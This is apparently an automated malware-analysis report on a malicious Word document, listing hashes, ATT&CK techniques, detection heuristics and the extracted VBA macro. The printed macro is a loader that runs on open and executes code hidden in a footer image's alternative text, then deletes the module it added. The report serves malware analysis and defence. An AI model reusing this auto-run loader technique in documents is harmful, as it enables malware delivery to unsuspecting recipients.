Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4e8994fb4f55724e…

MALICIOUS

Office (OLE)

53.0 KB Created: 2017-11-25 19:22:00 Authoring application: Microsoft Office Word First seen: 2017-11-29
MD5: 6a3abd2aa6b4b220ced11c0899f8cffc SHA-1: ce7d90744b192a6b693c195f7cad724286ca9f3f SHA-256: 4e8994fb4f55724e00db6600f56077691d8c6f238b12c52d13c067a8a1fcd932
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The Auto_Open macro is designed to dynamically add and execute code from the document's alternative text field, which is a common technique for downloading and executing further payloads. The presence of legacy WordBasic markers and the ClamAV detection further support its malicious nature.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6387126-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6387126-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 689 bytes
SHA-256: 56bcbb9825c189083da331b563b2b9bb057af8ea65cf7613dc68847f1ccbed53
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "MyDocument"
Sub Auto_Open()
    Dim OGcBs As Object
    Set OGcBs = ActiveDocument.VBProject.VBComponents.Add(1)
    OGcBs.CodeModule.AddFromString ActiveDocument.Sections(1).Footers(1).Range.InlineShapes(1).AlternativeText
    Application.Run OGcBs.Name & ".QZSsX"
    ActiveDocument.VBProject.VBComponents.Remove OGcBs
End Sub
Sub AutoOpen()
    Auto_Open
End Sub